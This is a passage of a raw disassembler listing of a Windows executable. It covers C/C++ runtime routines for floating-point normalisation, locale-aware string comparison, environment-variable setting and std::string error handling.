jnz short loc_42655A
cmp [ebp+var_14], 0
jz short loc_42657A
or byte ptr [ebp+var_24], 1
loc_42657A: ; CODE XREF: sub_4263EA+155j
; sub_4263EA+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_426591
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_4265C6
loc_426591: ; CODE XREF: sub_4263EA+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_4265C3
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_4265BE
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_4265B8
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_4265C6
; ---------------------------------------------------------------------------
loc_4265B8: ; CODE XREF: sub_4263EA+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_4265C6
; ---------------------------------------------------------------------------
loc_4265BE: ; CODE XREF: sub_4263EA+1B5j
inc [ebp+var_20+2]
jmp short loc_4265C6
; ---------------------------------------------------------------------------
loc_4265C3: ; CODE XREF: sub_4263EA+1ABj
inc [ebp+var_24+2]
loc_4265C6: ; CODE XREF: sub_4263EA+1A5j
; sub_4263EA+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_4265EA
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_4265E4: ; CODE XREF: sub_4263EA+86j
mov [esi+0Ah], ax
jmp short loc_426605
; ---------------------------------------------------------------------------
loc_4265EA: ; CODE XREF: sub_4263EA+42j
; sub_4263EA+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426605: ; CODE XREF: sub_4263EA+ABj
; sub_4263EA+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_4263EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42660A proc near ; CODE XREF: sub_425A21+440p
; sub_425EF2+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43FAB8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426683
jge short loc_426632
mov eax, [ebp+arg_4]
mov ebx, offset dword_43FC18
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426632: ; CODE XREF: sub_42660A+16j
cmp [ebp+arg_8], ecx
jnz short loc_42663D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_42663D: ; CODE XREF: sub_42660A+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426683
push esi
push edi
loc_426644: ; CODE XREF: sub_42660A+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_42667C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_42666F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_42666F: ; CODE XREF: sub_42660A+57j
push esi
push [ebp+arg_0]
call sub_4263EA
pop ecx
pop ecx
xor ecx, ecx
loc_42667C: ; CODE XREF: sub_42660A+49j
cmp [ebp+arg_4], ecx
jnz short loc_426644
pop edi
pop esi
loc_426683: ; CODE XREF: sub_42660A+14j
; sub_42660A+36j
pop ebx
leave
retn
sub_42660A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426686 proc near ; CODE XREF: sub_4262F7+5Ep
; sub_426B37+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_426693
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426693: ; CODE XREF: sub_426686+7j
push dword_4DF484
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DF6A4
call sub_426733
add esp, 1Ch
test eax, eax
jnz short loc_4266C0
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4266C0: ; CODE XREF: sub_426686+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_426686 endp
; =============== S U B R O U T I N E =======================================
sub_4266C5 proc near ; CODE XREF: sub_4262F7+1Ep
; sub_4269B0+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DE05C
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_426726
mov ebx, dword_428180
loc_4266DE: ; CODE XREF: sub_4266C5+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_42672E
push ebp
call sub_41BCA5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_42672E
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_42672E
push edi
push [esp+18h+var_4]
call sub_4269B0
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_4266DE
loc_426726: ; CODE XREF: sub_4266C5+11j
xor eax, eax
loc_426728: ; CODE XREF: sub_4266C5+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42672E: ; CODE XREF: sub_4266C5+29j
; sub_4266C5+38j ...
or eax, 0FFFFFFFFh
jmp short loc_426728
sub_4266C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426733 proc near ; CODE XREF: sub_426686+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428CF8
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DE340, ebx
push 1
pop edi
jnz short loc_4267A6
push edi
mov eax, offset dword_428948
push eax
push edi
push eax
push ebx
push ebx
call dword_428008 ; CompareStringW
test eax, eax
jz short loc_426783
mov dword_4DE340, edi
jmp short loc_4267A6
; ---------------------------------------------------------------------------
loc_426783: ; CODE XREF: sub_426733+46j
push edi
mov eax, offset word_4CDB1C
push eax
push edi
push eax
push ebx
push ebx
call dword_42800C ; CompareStringA
test eax, eax
jz loc_42699C
mov dword_4DE340, 2
loc_4267A6: ; CODE XREF: sub_426733+31j
; sub_426733+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_4267BD
push esi
push [ebp+arg_8]
call sub_4235A7
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_4267BD: ; CODE XREF: sub_426733+78j
cmp [ebp+arg_14], ebx
jle short loc_4267D2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_4235A7
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_4267D2: ; CODE XREF: sub_426733+8Dj
mov eax, dword_4DE340
cmp eax, 2
jnz short loc_4267F7
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42800C ; CompareStringA
jmp loc_42699E
; ---------------------------------------------------------------------------
loc_4267F7: ; CODE XREF: sub_426733+A7j
cmp eax, edi
jnz loc_42699C
cmp [ebp+arg_18], ebx
jnz short loc_42680C
mov eax, dword_4DE0FC
mov [ebp+arg_18], eax
loc_42680C: ; CODE XREF: sub_426733+CFj
cmp esi, ebx
jz short loc_426819
cmp [ebp+arg_14], ebx
jnz loc_4268B1
loc_426819: ; CODE XREF: sub_426733+DBj
cmp esi, [ebp+arg_14]
jnz short loc_426826
loc_42681E: ; CODE XREF: sub_426733+13Cj
; sub_426733+16Dj
push 2
loc_426820: ; CODE XREF: sub_426733+146j
pop eax
jmp loc_42699E
; ---------------------------------------------------------------------------
loc_426826: ; CODE XREF: sub_426733+E9j
cmp [ebp+arg_14], edi
jle short loc_426832
loc_42682B: ; CODE XREF: sub_426733+151j
; sub_426733+159j ...
mov eax, edi
jmp loc_42699E
; ---------------------------------------------------------------------------
loc_426832: ; CODE XREF: sub_426733+F6j
cmp esi, edi
jg short loc_426877
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_4281D0 ; GetCPInfo
test eax, eax
jz loc_42699C
cmp esi, ebx
jle short loc_42687B
cmp [ebp+var_3C], 2
jb short loc_426877
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426877
loc_42685D: ; CODE XREF: sub_426733+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426877
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426871
cmp cl, dl
jbe short loc_42681E
loc_426871: ; CODE XREF: sub_426733+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42685D
loc_426877: ; CODE XREF: sub_426733+101j
; sub_426733+120j ...
push 3
jmp short loc_426820
; ---------------------------------------------------------------------------
loc_42687B: ; CODE XREF: sub_426733+11Aj
cmp [ebp+arg_14], ebx
jle short loc_4268B1
cmp [ebp+var_3C], 2
jb short loc_42682B
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_42682B
loc_42688E: ; CODE XREF: sub_426733+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_42682B
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_4268A6
cmp cl, dl
jbe loc_42681E
loc_4268A6: ; CODE XREF: sub_426733+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42688E
jmp loc_42682B
; ---------------------------------------------------------------------------
loc_4268B1: ; CODE XREF: sub_426733+E0j
; sub_426733+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_428184 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42699C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426900
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_426900: ; CODE XREF: sub_426733+1B5j
cmp [ebp+var_24], ebx
jz loc_42699C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_428184
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_42699C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42699C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42696B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42696B: ; CODE XREF: sub_426733+224j
cmp edi, ebx
jz short loc_42699C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_428184 ; MultiByteToWideChar
test eax, eax
jz short loc_42699C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428008 ; CompareStringW
jmp short loc_42699E
; ---------------------------------------------------------------------------
loc_42699C: ; CODE XREF: sub_426733+63j
; sub_426733+C6j ...
xor eax, eax
loc_42699E: ; CODE XREF: sub_426733+BFj
; sub_426733+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426733 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4269B0 proc near ; CODE XREF: sub_4266C5+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_426A14
push 3Dh
push [ebp+arg_0]
call sub_426BF6
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_426A14
cmp [ebp+arg_0], esi
jz short loc_426A14
mov eax, dword_4DE054
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DE058
jnz short loc_4269FA
push eax
call sub_426B8F
pop ecx
mov dword_4DE054, eax
loc_4269FA: ; CODE XREF: sub_4269B0+3Cj
cmp eax, edi
jnz short loc_426A52
cmp [ebp+arg_4], edi
jz short loc_426A1C
cmp dword_4DE05C, edi
jz short loc_426A1C
call sub_4266C5
test eax, eax
jz short loc_426A52
loc_426A14: ; CODE XREF: sub_4269B0+Dj
; sub_4269B0+22j ...
or eax, 0FFFFFFFFh
loc_426A17: ; CODE XREF: sub_4269B0+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426A1C: ; CODE XREF: sub_4269B0+51j
; sub_4269B0+59j
cmp ebx, edi
jnz loc_426B30
push 4
call sub_41BCA5
cmp eax, edi
pop ecx
mov dword_4DE054, eax
jz short loc_426A14
mov [eax], edi
cmp dword_4DE05C, edi
jnz short loc_426A52
push 4
call sub_41BCA5
cmp eax, edi
pop ecx
mov dword_4DE05C, eax
jz short loc_426A14
mov [eax], edi
loc_426A52: ; CODE XREF: sub_4269B0+4Cj
; sub_4269B0+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DE054
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426B37
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_426AB2
cmp dword ptr [edi], 0
jz short loc_426AB2
test ebx, ebx
jz short loc_426AAA
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B881
pop ecx
loc_426A84: ; CODE XREF: sub_4269B0+E2j
cmp dword ptr [edi], 0
jz short loc_426A94
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_426A84
; ---------------------------------------------------------------------------
loc_426A94: ; CODE XREF: sub_4269B0+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B9D2
pop ecx
test eax, eax
pop ecx
jz short loc_426AE4
jmp short loc_426ADF
; ---------------------------------------------------------------------------
loc_426AAA: ; CODE XREF: sub_4269B0+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_426AE4
; ---------------------------------------------------------------------------
loc_426AB2: ; CODE XREF: sub_4269B0+BDj
; sub_4269B0+C2j
test ebx, ebx
jnz short loc_426B30
test esi, esi
jge short loc_426ABC
neg esi
loc_426ABC: ; CODE XREF: sub_4269B0+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B9D2
pop ecx
test eax, eax
pop ecx
jz loc_426A14
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_426ADF: ; CODE XREF: sub_4269B0+F8j
mov dword_4DE054, eax
loc_426AE4: ; CODE XREF: sub_4269B0+F6j
; sub_4269B0+100j
cmp [ebp+arg_4], 0
jz short loc_426B30
push [ebp+arg_0]
call sub_41B7B0
inc eax
inc eax
push eax
call sub_41BCA5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_426B30
push [ebp+arg_0]
push esi
call sub_41C680
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_428004 ; SetEnvironmentVariableA
push esi
call sub_41B881
pop ecx
loc_426B30: ; CODE XREF: sub_4269B0+6Ej
; sub_4269B0+104j ...
xor eax, eax
jmp loc_426A17
sub_4269B0 endp
; =============== S U B R O U T I N E =======================================
sub_426B37 proc near ; CODE XREF: sub_4269B0+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DE054
push edi
mov eax, [esi]
test eax, eax
jz short loc_426B72
mov edi, [esp+8+arg_4]
loc_426B49: ; CODE XREF: sub_426B37+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_426686
add esp, 0Ch
test eax, eax
jnz short loc_426B68
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_426B82
test al, al
jz short loc_426B82
loc_426B68: ; CODE XREF: sub_426B37+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426B49
loc_426B72: ; CODE XREF: sub_426B37+Cj
mov eax, esi
sub eax, dword_4DE054
sar eax, 2
neg eax
loc_426B7F: ; CODE XREF: sub_426B37+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_426B82: ; CODE XREF: sub_426B37+2Bj
; sub_426B37+2Fj
mov eax, esi
sub eax, dword_4DE054
sar eax, 2
jmp short loc_426B7F
sub_426B37 endp
; =============== S U B R O U T I N E =======================================
sub_426B8F proc near ; CODE XREF: sub_4269B0+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426B9E
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426B9E: ; CODE XREF: sub_426B8F+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_426BB0
loc_426BA6: ; CODE XREF: sub_426B8F+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_426BA6
loc_426BB0: ; CODE XREF: sub_426B8F+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41BCA5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_426BD1
push 9
call sub_41E229
pop ecx
loc_426BD1: ; CODE XREF: sub_426B8F+38j
mov eax, [edi]
mov ebx, edi
loc_426BD5: ; CODE XREF: sub_426B8F+5Bj
test eax, eax
jz short loc_426BEC
push eax
add ebx, 4
call sub_426C69
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_426BD5
; ---------------------------------------------------------------------------
loc_426BEC: ; CODE XREF: sub_426B8F+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_426B8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BF6 proc near ; CODE XREF: sub_4269B0+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DF49C, 0
jnz short loc_426C11
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C780
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426C11: ; CODE XREF: sub_426BF6+Aj
mov ecx, [ebp+arg_0]
loc_426C14: ; CODE XREF: sub_426BF6+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426C57
movzx edx, al
test byte_4DF5A1[edx], 4
jz short loc_426C43
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426C4E
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_426C52
jmp short loc_426C4B
; ---------------------------------------------------------------------------
loc_426C43: ; CODE XREF: sub_426BF6+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426C57
loc_426C4B: ; CODE XREF: sub_426BF6+4Bj
inc ecx
jmp short loc_426C14
; ---------------------------------------------------------------------------
loc_426C4E: ; CODE XREF: sub_426BF6+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426C52: ; CODE XREF: sub_426BF6+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426C57: ; CODE XREF: sub_426BF6+25j
; sub_426BF6+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_426BF6 endp
; =============== S U B R O U T I N E =======================================
sub_426C69 proc near ; CODE XREF: sub_4185D4+21p
; sub_426B8F+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_426C90
push esi
call sub_41B7B0
inc eax
push eax
call sub_41BCA5
pop ecx
test eax, eax
pop ecx
jz short loc_426C90
push esi
push eax
call sub_41C680
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_426C90: ; CODE XREF: sub_426C69+7j
; sub_426C69+1Aj
xor eax, eax
pop esi
retn
sub_426C69 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426CA0 proc near ; CODE XREF: sub_40D310+12p
; sub_40D36A+12p ...
mov eax, offset loc_4276D4
call sub_41D434
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_40D515
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_41B7B0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_40D54D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_426CFA
lea eax, [ebp-3Ch]
push offset dword_429080
push eax
mov dword ptr [ebp-3Ch], offset off_428D14
call sub_427179
pop esi
sub_426CA0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426CFA proc near ; CODE XREF: sub_426CA0+3Fp
; sub_426ECC+3Fp
mov eax, offset loc_4276E8
call sub_41D434
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_43FE14
call sub_42709E
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_40D515
push dword_428D40
mov ecx, edi
push 0
push ebx
call sub_40D3C2
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_428D34
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_426CFA endp
; =============== S U B R O U T I N E =======================================
sub_426D5E proc near ; DATA XREF: .packed:00428D18o
; .packed:00428D38o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_426D6A
mov eax, offset dword_4286A8
locret_426D6A: ; CODE XREF: sub_426D5E+5j
retn
sub_426D5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D6B proc near ; DATA XREF: .packed:00428D3Co
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426DE1
lea eax, [ebp+var_1C]
push offset dword_4290F0
push eax
call sub_427179
sub_426D6B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426D88 proc near ; CODE XREF: .packed:00426DC8p
; DATA XREF: .packed:004290F4o
mov eax, offset loc_4276FC
call sub_41D434
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_428D34
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D515
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_427125
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_426D88 endp
; ---------------------------------------------------------------------------
loc_426DC5: ; DATA XREF: .packed:off_428D34o
push esi
mov esi, ecx
call sub_426D88
test byte ptr [esp+8], 1
jz short loc_426DDB
push esi
call sub_41D453
pop ecx
loc_426DDB: ; CODE XREF: .packed:00426DD2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_426DE1 proc near ; CODE XREF: sub_426D6B+Ap
; sub_426EB4+7p ...
mov eax, offset loc_427710
call sub_41D434
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_4270DB
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_40D515
push dword_428D40
mov ecx, edi
push 0
push ebx
call sub_40D3C2
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_428D34
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_426DE1 endp
; =============== S U B R O U T I N E =======================================
sub_426E3E proc near ; CODE XREF: sub_426E7B+20p
; DATA XREF: .packed:00429084o
mov eax, offset loc_427724
call sub_41D434
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_428D34
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D515
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_427125
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_426E3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426E7B proc near ; DATA XREF: .packed:00428D1Co
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426EB4
lea eax, [ebp+var_1C]
push offset dword_429080
push eax
call sub_427179
loc_426E98: ; DATA XREF: .packed:off_428D14o
push esi
mov esi, ecx
call sub_426E3E
test [esp+20h+var_18], 1
jz short loc_426EAE
push esi
call sub_41D453
pop ecx
loc_426EAE: ; CODE XREF: sub_426E7B+2Aj
mov eax, esi
pop esi
retn 4
sub_426E7B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426EB4 proc near ; CODE XREF: sub_426E7B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_426DE1
mov dword ptr [esi], offset off_428D14
mov eax, esi
pop esi
retn 4
sub_426EB4 endp
; =============== S U B R O U T I N E =======================================
sub_426ECC proc near ; CODE XREF: sub_40D3C2+13p
; sub_40D582+Ep
mov eax, offset loc_427738
call sub_41D434
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_40D515
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_41B7B0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_40D54D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_426CFA
lea eax, [ebp-3Ch]
push offset dword_4291A8
push eax
mov dword ptr [ebp-3Ch], offset off_428D48
call sub_427179
pop esi
sub_426ECC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426F26 proc near ; CODE XREF: sub_426F63+20p
; DATA XREF: .packed:004291ACo
mov eax, offset loc_42774C
call sub_41D434
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_428D34
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D515
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_427125
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_426F26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426F63 proc near ; DATA XREF: .packed:00428D50o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426F9C
lea eax, [ebp+var_1C]
push offset dword_4291A8
push eax
call sub_427179
loc_426F80: ; DATA XREF: .packed:off_428D48o
push esi
mov esi, ecx
call sub_426F26
test [esp+20h+var_18], 1
jz short loc_426F96
push esi
call sub_41D453
pop ecx
loc_426F96: ; CODE XREF: sub_426F63+2Aj
mov eax, esi
pop esi
retn 4
sub_426F63 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426F9C proc near ; CODE XREF: sub_426F63+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_426DE1
mov dword ptr [esi], offset off_428D48
mov eax, esi
pop esi
retn 4
sub_426F9C endp
; =============== S U B R O U T I N E =======================================
sub_426FB4 proc near ; DATA XREF: .packed:0042A018o
; FUNCTION CHUNK AT 00426FEA SIZE 0000000C BYTES
test byte_4DE34C, 1
jnz short loc_426FC4
or byte_4DE34C, 1
